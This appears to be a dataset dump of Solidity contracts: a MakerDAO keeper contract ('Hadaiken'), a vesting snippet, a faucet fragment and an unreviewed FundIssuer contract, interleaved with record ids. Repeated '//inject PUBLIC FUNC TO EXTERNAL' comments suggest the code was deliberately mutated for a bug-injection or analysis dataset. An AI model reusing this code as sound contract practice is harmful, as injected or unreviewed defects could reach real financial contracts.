funds (ETH) /// @param _amount the new amount specified function setRequestFundsAmount(uint256 _amount) public onlyOwner { requestFundsAmount = _amount; } /// @notice Allows calls only from the contract owner modifier onlyOwner() { require(msg.sender == owner, "Only faucet owner can call method"); _; } }
Registers a new coupon using its hash _couponHash hash of the coupon to be registered
function registerCoupon(bytes32 _couponHash) public onlyOwner { require(registeredCoupons[_couponHash] == false, "Coupon already registered"); registeredCoupons[_couponHash] = true; }
6,365,450
/** *Submitted for verification at Etherscan.io on 2020-03-17 */ pragma solidity ^0.5.15; // https://github.com/makerdao/dss/blob/master/src/jug.sol contract JugAbstract { function drip(bytes32) external returns (uint256); } // https://github.com/makerdao/dss/blob/master/src/pot.sol contract PotAbstract { function drip() external returns (uint256); function dsr() public view returns (uint256); function chi() public view returns (uint256); function rho() public view returns (uint256); } // https://github.com/makerdao/dss/blob/master/src/vat.sol contract VatAbstract { function dai(address) public view returns (uint256); function sin(address) public view returns (uint256); } // https://github.com/makerdao/dss/blob/master/src/vow.sol contract VowAbstract { function sin(uint256) public view returns (uint256); function Sin() public view returns (uint256); function Ash() public view returns (uint256); function bump() public view returns (uint256); function hump() public view returns (uint256); function flap() external returns (uint256); function heal(uint256) external; } // https://github.com/makerdao/sai/blob/master/src/pit.sol contract GemPitAbstract { function burn(address) public; } // https://github.com/dapphub/ds-token/blob/master/src/token.sol contract DSTokenAbstract { function balanceOf(address) external view returns (uint256); } // https://github.com/makerdao/dss/blob/master/src/pot.sol contract PotHelper { PotAbstract pa; constructor(address pot) public { pa = PotAbstract(pot); } // https://github.com/makerdao/dss/blob/master/src/pot.sol#L79 uint256 constant ONE = 10 ** 27; function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x); } function rmul(uint x, uint y) internal pure returns (uint z) { z = mul(x, y) / ONE; } function rpow(uint x, uint n, uint base) internal pure returns (uint z) { assembly { switch x case 0 {switch n case 0 {z := base} default {z := 0}} default { switch mod(n, 2) case 0 { z := base } default { z := x } let half := div(base, 2) // for rounding. for { n := div(n, 2) } n { n := div(n,2) } { let xx := mul(x, x) if iszero(eq(div(xx, x), x)) { revert(0,0) } let xxRound := add(xx, half) if lt(xxRound, xx) { revert(0,0) } x := div(xxRound, base) if mod(n,2) { let zx := mul(z, x) if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) { revert(0,0) } let zxRound := add(zx, half) if lt(zxRound, zx) { revert(0,0) } z := div(zxRound, base) } } } } } // View function for calculating value of chi iff drip() is called in the same block. function drop() public view returns (uint256) { //inject PUBLIC FUNC TO EXTERNAL if (now == pa.rho()) return pa.chi(); return rmul(rpow(pa.dsr(), now - pa.rho(), ONE), pa.chi()); } // Pass the Pot Abstract for additional operations function pot() public view returns (PotAbstract) { //inject PUBLIC FUNC TO EXTERNAL return pa; } } // 1111111 1=111)) HADAIKEN // // Optimized contract for performing some or all of the functions that // keep Multi-Collateral Dai running. contract Hadaiken { address constant internal PIT = address(0x69076e44a9C70a67D5b79d95795Aba299083c275); address constant internal MKR = address(0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2); address constant internal JUG = address(0x19c0976f590D67707E62397C87829d896Dc0f1F1); address constant internal POT = address(0x197E90f9FAD81970bA7976f33CbD77088E5D7cf7); address constant internal VAT = address(0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B); address constant internal VOW = address(0xA950524441892A31ebddF91d3cEEFa04Bf454466); GemPitAbstract constant internal pit = GemPitAbstract(PIT); DSTokenAbstract constant internal gem = DSTokenAbstract(MKR); JugAbstract constant internal jug = JugAbstract(JUG); PotAbstract constant internal pot = PotAbstract(POT); VowAbstract constant internal vow = VowAbstract(VOW); VatAbstract constant internal vat = VatAbstract(VAT); PotHelper internal poth; bytes32 constant internal ETH_A = bytes32("ETH-A"); bytes32 constant internal BAT_A = bytes32("BAT-A"); bytes32 constant internal USDC_A = bytes32("USDC-A"); constructor() public { poth = new PotHelper(POT); } // Raw System Debt function _rawSysDebt() internal view returns (uint256) { return (vat.sin(VOW) - vow.Sin() - vow.Ash()); } function rawSysDebt() public view returns (uint256) { //inject PUBLIC FUNC TO EXTERNAL return _rawSysDebt(); } function _sysSurplusThreshold() internal view returns (uint256) { return (vat.sin(VOW) + vow.bump() + vow.hump()); } function sysSurplusThreshold() public view returns (uint256) { //inject PUBLIC FUNC TO EXTERNAL return _sysSurplusThreshold(); } // Saves you money. function heal() public { //inject PUBLIC FUNC TO EXTERNAL _heal(); } // Returns the amount of debt healed if you're curious about that sort of thing. function healStat() public returns (uint256 sd) { //inject PUBLIC FUNC TO EXTERNAL sd = _rawSysDebt(); _heal(); } // No return here. I want to save gas and who cares. function _heal() internal { vow.heal(_rawSysDebt()); } // Return the new chi value after drip. function drip() public returns (uint256 chi) { //inject PUBLIC FUNC TO EXTERNAL chi = pot.drip(); _dripIlks(); } // Returns a simulated chi value function drop() public view returns (uint256) { //inject PUBLIC FUNC TO EXTERNAL return poth.drop(); } function _dripPot() internal { pot.drip(); } function dripIlks() public { //inject PUBLIC FUNC TO EXTERNAL _dripIlks(); } function _dripIlks() internal { jug.drip(ETH_A); jug.drip(BAT_A); jug.drip(USDC_A); } function kickable() public view returns (bool) { //inject PUBLIC FUNC TO EXTERNAL return _kickable(); } // Can we bump an auction? function _kickable() internal view returns (bool) { // Assume heal is called prior to kick. // require(vat.dai(address(this)) >= add(add(vat.sin(address(this)), bump), hump), "Vow/insufficient-surplus"); // require(sub(sub(vat.sin(address(this)), Sin), Ash) == 0, "Vow/debt-not-zero"); return (vat.dai(VOW) >= _sysSurplusThreshold()); } // Burn all of the MKR in the Sai Pit function finishhim() public returns (uint256 burned) { //inject PUBLIC FUNC TO EXTERNAL burned = gem.balanceOf(PIT); _finishhim(); } function _finishhim() internal { pit.burn(MKR); } // Kick off an auction and return the auction ID function ccccombobreaker() public returns (uint256) { //inject PUBLIC FUNC TO EXTERNAL _heal(); // Flap requires debt == 0 return vow.flap(); } // Kick off an auction and throw away id function _ccccombobreaker() internal { vow.flap(); } // Kitchen sink. Call this early and often. function hadaiken() public { //inject PUBLIC FUNC TO EXTERNAL _dripPot(); // Update the chi _dripIlks(); // Updates the Ilk rates _heal(); // Cancel out system debt with system surplus if (_kickable()) { _ccccombobreaker(); } // Start an auction } }
inject PUBLIC FUNC TO EXTERNAL
function pot() public view returns (PotAbstract) {
7,265,599
./partial_match/1/0x3DeF08955837CbebBD310747Ef325c53087B6B17/sources/TokenVesting.sol
return the amount of token that can be released at the current block timestamp./
function releasable(address token) public view returns(uint256) { return _releasableAmount(IERC20(token)); }
3,550,824
/* * This code has not been reviewed. * Do not use or deploy this code before reviewing it personally first. */ pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "./ERC1820Client.sol"; import "../interface/ERC1820Implementer.sol"; import "../extensions/userExtensions/IERC1400TokensRecipient.sol"; import "../ERC1400.sol"; /** *************************************************************************************************************** **************************************** CAUTION: work in progress ******************************************** *************************************************************************************************************** * * CAUTION: This contract is a work in progress, tests are not finalized yet! * *************************************************************************************************************** **************************************** CAUTION: work in progress ******************************************** *************************************************************************************************************** */ /** * @title FundIssuer * @dev Fund issuance contract. * @dev Intended usage: * The purpose of the contract is to perform a fund issuance. * */ contract FundIssuer is ERC1820Client, IERC1400TokensRecipient, ERC1820Implementer { using SafeMath for uint256; bytes32 constant internal ORDER_SUBSCRIPTION_FLAG = 0xcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc; bytes32 constant internal ORDER_PAYMENT_FLAG = 0xdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd; bytes32 constant internal BYPASS_ACTION_FLAG = 0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; string constant internal FUND_ISSUER = "FundIssuer"; string constant internal ERC1400_TOKENS_RECIPIENT = "ERC1400TokensRecipient"; enum CycleState {Undefined, Subscription, Valuation, Payment, Settlement, Finalized} enum OrderState {Undefined, Subscribed, Paid, PaidSettled, UnpaidSettled, Cancelled, Rejected} enum OrderType {Undefined, Value, Amount} enum Payment {OffChain, ETH, ERC20, ERC1400} enum AssetValue {Unknown, Known} struct AssetRules { bool defined; uint256 firstStartTime; uint256 subscriptionPeriodLength; uint256 valuationPeriodLength; uint256 paymentPeriodLength; AssetValue assetValueType; uint256 assetValue; uint256 reverseAssetValue; Payment paymentType; address paymentAddress; bytes32 paymentPartition; address fundAddress; bool subscriptionsOpened; } struct Cycle { address assetAddress; bytes32 assetClass; uint256 startTime; uint256 subscriptionPeriodLength; uint256 valuationPeriodLength; uint256 paymentPeriodLength; AssetValue assetValueType; uint256 assetValue; uint256 reverseAssetValue; Payment paymentType; address paymentAddress; bytes32 paymentPartition; address fundAddress; bool finalized; } struct Order { uint256 cycleIndex; address investor; uint256 value; uint256 amount; OrderType orderType; OrderState state; } // Mapping from (assetAddress, assetClass) to asset rules. mapping(address => mapping(bytes32 => AssetRules)) internal _assetRules; // Index of most recent cycle. uint256 internal _cycleIndex; // Mapping from cycle index to cycle. mapping(uint256 => Cycle) internal _cycles; // Mapping from (assetAddress, assetClass) to most recent cycle. mapping(address => mapping (bytes32 => uint256)) internal _lastCycleIndex; // Index of most recent order. uint256 internal _orderIndex; // Mapping from order index to order. mapping(uint256 => Order) internal _orders; // Mapping from cycle index to order list. mapping(uint256 => uint256[]) internal _cycleOrders; // Mapping from investor address to order list. mapping(address => uint256[]) internal _investorOrders; // Mapping from assetAddress to amount of escrowed ETH. mapping(address => uint256) internal _escrowedEth; // Mapping from (assetAddress, paymentAddress) to amount of escrowed ERC20. mapping(address => mapping (address => uint256)) internal _escrowedErc20; // Mapping from (assetAddress, paymentAddress, paymentPartition) to amount of escrowed ERC1400. mapping(address => mapping (address => mapping (bytes32 => uint256))) internal _escrowedErc1400; // Mapping from token to token controllers. mapping(address => address[]) internal _tokenControllers; // Mapping from (token, operator) to token controller status. mapping(address => mapping(address => bool)) internal _isTokenController; // Mapping from token to price oracles. mapping(address => address[]) internal _priceOracles; // Mapping from (token, operator) to price oracle status. mapping(address => mapping(address => bool)) internal _isPriceOracle; /** * @dev Modifier to verify if sender is a token controller. */ modifier onlyTokenController(address tokenAddress) { require(_tokenController(msg.sender, tokenAddress), "Sender is not a token controller." ); _; } /** * @dev Modifier to verify if sender is a price oracle. */ modifier onlyPriceOracle(address assetAddress) { require(_checkPriceOracle(assetAddress, msg.sender), "Sender is not a price oracle."); _; } /** * [DVP CONSTRUCTOR] * @dev Initialize Fund issuance contract + register * the contract implementation in ERC1820Registry. */ constructor() public { ERC1820Implementer._setInterface(FUND_ISSUER); ERC1820Implementer._setInterface(ERC1400_TOKENS_RECIPIENT); setInterfaceImplementation(ERC1400_TOKENS_RECIPIENT, address(this)); } /** * [ERC1400TokensRecipient INTERFACE (1/2)] * @dev Indicate whether or not the fund issuance contract can receive the tokens or not. [USED FOR ERC1400 TOKENS ONLY] * @param data Information attached to the token transfer. * @param operatorData Information attached to the DVP transfer, by the operator. * @return 'true' if the DVP contract can receive the tokens, 'false' if not. */ function canReceive(bytes calldata, bytes32, address, address, address, uint, bytes calldata data, bytes calldata operatorData) external override view returns(bool) { return(_canReceive(data, operatorData)); } /** * [ERC1400TokensRecipient INTERFACE (2/2)] * @dev Hook function executed when tokens are sent to the fund issuance contract. [USED FOR ERC1400 TOKENS ONLY] * @param partition Name of the partition. * @param from Token holder. * @param to Token recipient. * @param value Number of tokens to transfer. * @param data Information attached to the token transfer. * @param operatorData Information attached to the DVP transfer, by the operator. */ function tokensReceived(bytes calldata, bytes32 partition, address, address from, address to, uint value, bytes calldata data, bytes calldata operatorData) external override { require(interfaceAddr(msg.sender, "ERC1400Token") == msg.sender, "55"); // 0x55 funds locked (lockup period) require(to == address(this), "50"); // 0x50 transfer failure require(_canReceive(data, operatorData), "57"); // 0x57 invalid receiver bytes32 flag = _getTransferFlag(data); bytes memory erc1400TokenData = abi.encode(msg.sender, partition, value); if (flag == ORDER_SUBSCRIPTION_FLAG) { address assetAddress = _getAssetAddress(data); bytes32 assetClass = _getAssetClass(data); bytes memory orderData = _getOrderData(data); _subscribe( from, assetAddress, assetClass, orderData, true, erc1400TokenData ); } else if (flag == ORDER_PAYMENT_FLAG) { uint256 orderIndex = _getOrderIndex(data); Order storage order = _orders[orderIndex]; require(from == order.investor, "Payment sender is not the subscriber"); _executePayment(orderIndex, erc1400TokenData, false); } } /** * @dev Start a new subscription for a given asset in the fund issuance smart contract. * @param assetAddress Address of the token representing the asset. * @param assetClass Asset class. * @param subscriptionPeriodLength Length of subscription period. * @param valuationPeriodLength Length of valuation period. * @param paymentPeriodLength Length of payment period. * @param paymentType Type of payment (OFFCHAIN | ERC20 | ERC1400). * @param paymentAddress Address of the payment token (only used id paymentType <> OFFCHAIN). * @param paymentPartition Partition of the payment token (only used if paymentType is ERC1400). * @param subscriptionsOpened Set 'true' if subscriptions are opened, 'false' if not. */ function setAssetRules( address assetAddress, bytes32 assetClass, uint256 firstStartTime, uint256 subscriptionPeriodLength, uint256 valuationPeriodLength, uint256 paymentPeriodLength, Payment paymentType, address paymentAddress, bytes32 paymentPartition, address fundAddress, bool subscriptionsOpened ) external onlyTokenController(assetAddress) { AssetRules storage rules = _assetRules[assetAddress][assetClass]; require(firstStartTime >= block.timestamp, "First cycle start can not be prior to now"); require(subscriptionPeriodLength != 0 && valuationPeriodLength != 0 && paymentPeriodLength != 0, "Periods can not be nil"); if(rules.defined) { rules.firstStartTime = firstStartTime; rules.subscriptionPeriodLength = subscriptionPeriodLength; rules.valuationPeriodLength = valuationPeriodLength; rules.paymentPeriodLength = paymentPeriodLength; // rules.assetValueType = assetValueType; // Can only be modified by the price oracle // rules.assetValue = assetValue; // Can only be modified by the price oracle // rules.reverseAssetValue = reverseAssetValue; // Can only be modified by the price oracle rules.paymentType = paymentType; rules.paymentAddress = paymentAddress; rules.paymentPartition = paymentPartition; rules.fundAddress = fundAddress; rules.subscriptionsOpened = subscriptionsOpened; } else { _assetRules[assetAddress][assetClass] = AssetRules({ defined: true, firstStartTime: firstStartTime, subscriptionPeriodLength: subscriptionPeriodLength, valuationPeriodLength: valuationPeriodLength, paymentPeriodLength: paymentPeriodLength, assetValueType: AssetValue.Unknown, assetValue: 0, reverseAssetValue: 0, paymentType: paymentType, paymentAddress: paymentAddress, paymentPartition: paymentPartition, fundAddress: fundAddress, subscriptionsOpened: subscriptionsOpened }); } } /** * @dev Set asset value rules for a given asset. * @param assetAddress Address of the token representing the asset. * @param assetClass Asset class. * @param assetValueType Asset value type. * @param assetValue Asset value. * @param reverseAssetValue Reverse asset value. */ function setAssetValueRules( address assetAddress, bytes32 assetClass, AssetValue assetValueType, uint256 assetValue, uint256 reverseAssetValue ) external onlyPriceOracle(assetAddress) { AssetRules storage rules = _assetRules[assetAddress][assetClass]; require(rules.defined, "Rules not defined for this asset"); require(assetValue == 0 || reverseAssetValue == 0, "Asset value can only be set in one direction"); rules.assetValueType = assetValueType; rules.assetValue = assetValue; rules.reverseAssetValue = reverseAssetValue; } /** * @dev Start a new subscription for a given asset in the fund issuance smart contract. * @param assetAddress Address of the token representing the asset. * @param assetClass Asset class. * @return Index of new cycle. */ function _startNewCycle( address assetAddress, bytes32 assetClass ) internal returns(uint256) { AssetRules storage rules = _assetRules[assetAddress][assetClass]; require(rules.defined, "Rules not defined for this asset"); require(rules.subscriptionsOpened, "Subscriptions not opened for this asset"); uint256 lastCycleIndex = _lastCycleIndex[assetAddress][assetClass]; Cycle storage lastCycle = _cycles[lastCycleIndex]; uint256 previousStartTime = (lastCycle.startTime != 0) ? lastCycle.startTime : rules.firstStartTime; _cycleIndex = _cycleIndex.add(1); _cycles[_cycleIndex] = Cycle({ assetAddress: assetAddress, assetClass: assetClass, startTime: _getNextStartTime(previousStartTime, rules.subscriptionPeriodLength), subscriptionPeriodLength: rules.subscriptionPeriodLength, valuationPeriodLength: rules.valuationPeriodLength, paymentPeriodLength: rules.paymentPeriodLength, assetValueType: rules.assetValueType, assetValue: rules.assetValue, reverseAssetValue: rules.reverseAssetValue, paymentType: rules.paymentType, paymentAddress: rules.paymentAddress, paymentPartition: rules.paymentPartition, fundAddress: rules.fundAddress, finalized: false }); _lastCycleIndex[assetAddress][assetClass] = _cycleIndex; return _cycleIndex; } /** * @dev Returns time of next cycle start. * @param previousStartTime Previous start time. * @param subscriptionPeriod Time between subscription period start and cut-off. * @return Time of next cycle start. */ function _getNextStartTime(uint256 previousStartTime, uint256 subscriptionPeriod) internal view returns(uint256) { if(previousStartTime >= block.timestamp) { return previousStartTime; } else { return block.timestamp.sub((block.timestamp - previousStartTime).mod(subscriptionPeriod)); } } /** * @dev Subscribe for a given asset, by creating an order. * @param assetAddress Address of the token representing the asset. * @param assetClass Asset class. * @param orderValue Value of assets to purchase (used in case order type is 'value'). * @param orderAmount Amount of assets to purchase (used in case order type is 'amount'). * @param orderType Order type (value | amount). */ function subscribe( address assetAddress, bytes32 assetClass, uint256 orderValue, uint256 orderAmount, OrderType orderType, bool executePaymentAtSubscription ) external payable returns(uint256) { bytes memory orderData = abi.encode(orderValue, orderAmount, orderType); return _subscribe( msg.sender, assetAddress, assetClass, orderData, executePaymentAtSubscription, new bytes(0) ); } /** * @dev Subscribe for a given asset, by creating an order. * @param assetAddress Address of the token representing the asset. * @param assetClass Asset class. * @param orderData Encoded pack of variables for order (orderValue, orderAmount, orderType). * @param executePaymentAtSubscription 'true' if payment shall be executed at subscription, 'false' if not. * @param erc1400TokenData Encoded pack of variables for erc1400 token (paymentAddress, paymentPartition, paymentValue). */ function _subscribe( address investor, address assetAddress, bytes32 assetClass, bytes memory orderData, bool executePaymentAtSubscription, bytes memory erc1400TokenData ) internal returns(uint256) { uint256 lastIndex = _lastCycleIndex[assetAddress][assetClass]; CycleState currentState = _getCycleState(lastIndex); if(currentState != CycleState.Subscription) { lastIndex = _startNewCycle(assetAddress, assetClass); } require(_getCycleState(lastIndex) == CycleState.Subscription, "Subscription can only be performed during subscription period"); (uint256 value, uint256 amount, OrderType orderType) = abi.decode(orderData, (uint256, uint256, OrderType)); require(value == 0 || amount == 0, "Order can not be of type amount and value at the same time"); if(orderType == OrderType.Value) { require(value != 0, "Order value shall not be nil"); } else if(orderType == OrderType.Amount) { require(amount != 0, "Order amount shall not be nil"); } else { revert("Order type needs to be value or amount"); } _orderIndex++; _orders[_orderIndex] = Order({ cycleIndex: lastIndex, investor: investor, value: value, amount: amount, orderType: orderType, state: OrderState.Subscribed }); _cycleOrders[lastIndex].push(_orderIndex); _investorOrders[investor].push(_orderIndex); Cycle storage cycle = _cycles[lastIndex]; if(cycle.assetValueType == AssetValue.Known && executePaymentAtSubscription) { _executePayment(_orderIndex, erc1400TokenData, false); } return _orderIndex; } /** * @dev Cancel an order. * @param orderIndex Index of the order to cancel. */ function cancelOrder(uint256 orderIndex) external { Order storage order = _orders[orderIndex]; require( order.state == OrderState.Subscribed || order.state == OrderState.Paid, "Only subscribed or paid orders can be cancelled" ); // This also checks if the order exists. Otherwise, we would have "order.state == OrderState.Undefined" require(_getCycleState(order.cycleIndex) < CycleState.Valuation, "Orders can only be cancelled before cut-off"); require(msg.sender == order.investor); if(order.state == OrderState.Paid) { _releasePayment(orderIndex, order.investor); } order.state = OrderState.Cancelled; } /** * @dev Reject an order. * @param orderIndex Index of the order to reject. * @param rejected Set to 'true' if order shall be rejected, and set to 'false' if rejection shall be cancelled */ function rejectOrder(uint256 orderIndex, bool rejected) external { Order storage order = _orders[orderIndex]; require( order.state == OrderState.Subscribed || order.state == OrderState.Paid || order.state == OrderState.Rejected , "Order rejection can only handled for subscribed or paid orders" ); // This also checks if the order exists. Otherwise, we would have "order.state == OrderState.Undefined" require(_getCycleState(order.cycleIndex) < CycleState.Payment , "Orders can only be rejected before beginning of payment phase"); Cycle storage cycle = _cycles[order.cycleIndex]; require(_tokenController(msg.sender, cycle.assetAddress), "Sender is not a token controller." ); if(rejected) { if(order.state == OrderState.Paid) { _releasePayment(orderIndex, order.investor); } order.state = OrderState.Rejected; } else { order.state = OrderState.Subscribed; } } /** * @dev Set assetValue for a given asset. * @param cycleIndex Index of the cycle where assetValue needs to be set. * @param assetValue Units of cash required for a unit of asset. * @param reverseAssetValue Units of asset required for a unit of cash. */ function valuate( uint256 cycleIndex, uint256 assetValue, uint256 reverseAssetValue ) external { Cycle storage cycle = _cycles[cycleIndex]; CycleState cycleState = _getCycleState(cycleIndex); require(cycleState > CycleState.Subscription && cycleState < CycleState.Payment , "AssetValue can only be set during valuation period"); require(cycle.assetValueType == AssetValue.Unknown, "Asset value can only be set for a cycle of type unkonwn"); require(assetValue == 0 || reverseAssetValue == 0, "Asset value can only be set in one direction"); require(_checkPriceOracle(cycle.assetAddress, msg.sender), "Sender is not a price oracle."); cycle.assetValue = assetValue; cycle.reverseAssetValue = reverseAssetValue; } /** * @dev Execute payment for a given order. * @param orderIndex Index of the order to declare as paid. */ function executePaymentAsInvestor(uint256 orderIndex) external payable { Order storage order = _orders[orderIndex]; require(msg.sender == order.investor); _executePayment(orderIndex, new bytes(0), false); } /** * @dev Set payment as executed for a given order. * @param orderIndex Index of the order to declare as paid. * @param bypassPayment Bypass payment (in case payment has been performed off-chain) */ function executePaymentAsController(uint256 orderIndex, bool bypassPayment) external { Order storage order = _orders[orderIndex]; Cycle storage cycle = _cycles[order.cycleIndex]; require(_tokenController(msg.sender, cycle.assetAddress), "Sender is not a token controller." ); _executePayment(orderIndex, new bytes(0), bypassPayment); } /** * @dev Set payments as executed for a batch of given orders. * @param orderIndexes Indexes of the orders to declare as paid. * @param bypassPayment Bypass payment (in case payment has been performed off-chain) */ function batchExecutePaymentsAsController(uint256[] calldata orderIndexes, bool bypassPayment) external { for (uint i = 0; i<orderIndexes.length; i++){ Order storage order = _orders[orderIndexes[i]]; Cycle storage cycle = _cycles[order.cycleIndex]; require(_tokenController(msg.sender, cycle.assetAddress), "Sender is not a token controller." ); _executePayment(orderIndexes[i], new bytes(0), bypassPayment); } } /** * @dev Pay for a given order. * @param orderIndex Index of the order to declare as paid. * @param erc1400TokenData Encoded pack of variables for erc1400 token (paymentAddress, paymentPartition, paymentValue). * @param bypassPayment Bypass payment (in case payment has been performed off-chain) */ function _executePayment( uint256 orderIndex, bytes memory erc1400TokenData, bool bypassPayment ) internal { Order storage order = _orders[orderIndex]; Cycle storage cycle = _cycles[order.cycleIndex]; require( order.state == OrderState.Subscribed || order.state == OrderState.UnpaidSettled, "Order is neither in state Subscribed, nor UnpaidSettled" ); // This also checks if the order exists. Otherwise, we would have "order.state == OrderState.Undefined" require(!cycle.finalized, "Cycle is already finalized"); if(cycle.assetValueType == AssetValue.Unknown) { require(_getCycleState(order.cycleIndex) >= CycleState.Payment , "Payment can only be performed after valuation period"); } else { require(_getCycleState(order.cycleIndex) >= CycleState.Subscription , "Payment can only be performed after start of subscription period"); } require(order.orderType == OrderType.Value || order.orderType == OrderType.Amount, "Invalid order type"); (uint256 amount, uint256 value) = _getOrderAmountAndValue(orderIndex); order.amount = amount; order.value = value; if(!bypassPayment) { if (cycle.paymentType == Payment.ETH) { require(msg.value == value, "Amount of ETH is not correct"); _escrowedEth[cycle.assetAddress] += value; } else if (cycle.paymentType == Payment.ERC20) { ERC20(cycle.paymentAddress).transferFrom(msg.sender, address(this), value); _escrowedErc20[cycle.assetAddress][cycle.paymentAddress] += value; } else if(cycle.paymentType == Payment.ERC1400 && erc1400TokenData.length == 0) { ERC1400(cycle.paymentAddress).operatorTransferByPartition(cycle.paymentPartition, msg.sender, address(this), value, abi.encodePacked(BYPASS_ACTION_FLAG), abi.encodePacked(BYPASS_ACTION_FLAG)); _escrowedErc1400[cycle.assetAddress][cycle.paymentAddress][cycle.paymentPartition] += value; } else if(cycle.paymentType == Payment.ERC1400 && erc1400TokenData.length != 0) { (address erc1400TokenAddress, bytes32 erc1400TokenPartition, uint256 erc1400PaymentValue) = abi.decode(erc1400TokenData, (address, bytes32, uint256)); require(erc1400PaymentValue == value, "wrong payment value"); require(Payment.ERC1400 == cycle.paymentType, "ERC1400 payment is not accecpted for this asset"); require(erc1400TokenAddress == cycle.paymentAddress, "wrong payment token address"); require(erc1400TokenPartition == cycle.paymentPartition, "wrong payment token partition"); _escrowedErc1400[cycle.assetAddress][cycle.paymentAddress][cycle.paymentPartition] += value; } else { revert("off-chain payment needs to be bypassed"); } } if(order.state == OrderState.UnpaidSettled) { _releasePayment(orderIndex, cycle.fundAddress); order.state = OrderState.PaidSettled; } else { order.state = OrderState.Paid; } } /** * @dev Retrieve order amount and order value calculated based on cycle valuation. * @param orderIndex Index of the order. * @return Order amount. * @return Order value. */ function _getOrderAmountAndValue(uint256 orderIndex) internal view returns(uint256, uint256) { Order storage order = _orders[orderIndex]; Cycle storage cycle = _cycles[order.cycleIndex]; uint256 value; uint256 amount; if(order.orderType == OrderType.Value) { value = order.value; if(cycle.assetValue != 0) { amount = value.div(cycle.assetValue); } else { amount = value.mul(cycle.reverseAssetValue); } } if(order.orderType == OrderType.Amount) { amount = order.amount; if(cycle.assetValue != 0) { value = amount.mul(cycle.assetValue); } else { value = amount.div(cycle.reverseAssetValue); } } return(amount, value); } /** * @dev Release payment for a given order. * @param orderIndex Index of the order of the payment to be sent. * @param recipient Address to receive to the payment. */ function _releasePayment(uint256 orderIndex, address recipient) internal { Order storage order = _orders[orderIndex]; Cycle storage cycle = _cycles[order.cycleIndex]; if(cycle.paymentType == Payment.ETH) { address payable refundAddress = payable(recipient); refundAddress.transfer(order.value); _escrowedEth[cycle.assetAddress] -= order.value; } else if(cycle.paymentType == Payment.ERC20) { ERC20(cycle.paymentAddress).transfer(recipient, order.value); _escrowedErc20[cycle.assetAddress][cycle.paymentAddress] -= order.value; } else if(cycle.paymentType == Payment.ERC1400) { ERC1400(cycle.paymentAddress).transferByPartition(cycle.paymentPartition, recipient, order.value, abi.encodePacked(BYPASS_ACTION_FLAG)); _escrowedErc1400[cycle.assetAddress][cycle.paymentAddress][cycle.paymentPartition] -= order.value; } } /** * @dev Settle a given order. * @param orderIndex Index of the order to settle. */ function settleOrder(uint256 orderIndex) internal { Order storage order = _orders[orderIndex]; Cycle storage cycle = _cycles[order.cycleIndex]; require(_tokenController(msg.sender, cycle.assetAddress), "Sender is not a token controller." ); _settleOrder(orderIndex); } /** * @dev Settle a batch of given orders. * @param orderIndexes Indexes of the orders to settle. */ function batchSettleOrders(uint256[] calldata orderIndexes) external { for (uint i = 0; i<orderIndexes.length; i++){ Order storage order = _orders[orderIndexes[i]]; Cycle storage cycle = _cycles[order.cycleIndex]; require(_tokenController(msg.sender, cycle.assetAddress), "Sender is not a token controller." ); _settleOrder(orderIndexes[i]); } } /** * @dev Settle a given order. * @param orderIndex Index of the order to settle. */ function _settleOrder(uint256 orderIndex) internal { Order storage order = _orders[orderIndex]; require(order.state > OrderState.Undefined, "Order doesnt exist"); CycleState currentState = _getCycleState(order.cycleIndex); Cycle storage cycle = _cycles[order.cycleIndex]; if(cycle.assetValueType == AssetValue.Unknown) { require(currentState >= CycleState.Settlement, "Order settlement can only be performed during settlement period"); } else { require(currentState >= CycleState.Valuation, "Order settlement can only be performed after the cut-off"); } _releasePayment(orderIndex, cycle.fundAddress); if(order.state == OrderState.Paid) { ERC1400(cycle.assetAddress).issueByPartition(cycle.assetClass, order.investor, order.amount, ""); order.state = OrderState.PaidSettled; } else if (order.state == OrderState.Subscribed) { ERC1400(cycle.assetAddress).issueByPartition(cycle.assetClass, address(this), order.amount, ""); order.state = OrderState.UnpaidSettled; } else { revert("Impossible to settle an order that is neither in state Paid, nor Subscribed"); } } /** * @dev Finalize a given cycle. * @param cycleIndex Index of the cycle to finalize. */ function finalizeCycle(uint256 cycleIndex) external { Cycle storage cycle = _cycles[cycleIndex]; require(_tokenController(msg.sender, cycle.assetAddress), "Sender is not a token controller." ); require(!cycle.finalized, "Cycle is already finalized"); (, uint256 totalUnpaidSettled, bool remainingOrdersToSettle) = _getTotalSettledForCycle(cycleIndex); if(!remainingOrdersToSettle) { cycle.finalized = true; if(totalUnpaidSettled != 0) { ERC1400(cycle.assetAddress).transferByPartition(cycle.assetClass, cycle.fundAddress, totalUnpaidSettled, ""); } } else { revert("Remaining orders to settle"); } } /** * @dev Retrieve sum of paid/unpaid settled orders for a given cycle. * * @param cycleIndex Index of the cycle. * @return Sum of paid settled orders. * @return Sum of unpaid settled orders. * @return 'True' if there are remaining orders to settle, 'false' if not. */ function getTotalSettledForCycle(uint256 cycleIndex) external view returns(uint256, uint256, bool) { return _getTotalSettledForCycle(cycleIndex); } /** * @dev Retrieve sum of paid/unpaid settled orders for a given cycle. * * @param cycleIndex Index of the cycle. * @return Sum of paid settled orders. * @return Sum of unpaid settled orders. * @return 'True' if there are remaining orders to settle, 'false' if not. */ function _getTotalSettledForCycle(uint256 cycleIndex) internal view returns(uint256, uint256, bool) { uint256 totalPaidSettled; uint256 totalUnpaidSettled; bool remainingOrdersToSettle; for (uint i = 0; i<_cycleOrders[cycleIndex].length; i++){ Order storage order = _orders[_cycleOrders[cycleIndex][i]]; if(order.state == OrderState.PaidSettled) { totalPaidSettled = totalPaidSettled.add(order.amount); } else if(order.state == OrderState.UnpaidSettled) { totalUnpaidSettled = totalUnpaidSettled.add(order.amount); } else if( order.state != OrderState.Cancelled && order.state != OrderState.Rejected ) { remainingOrdersToSettle = true; } } return (totalPaidSettled, totalUnpaidSettled, remainingOrdersToSettle); } /** * @dev Retrieve the current state of the cycle. * * @param cycleIndex Index of the cycle. * @return Cycle state. */ function getCycleState(uint256 cycleIndex) external view 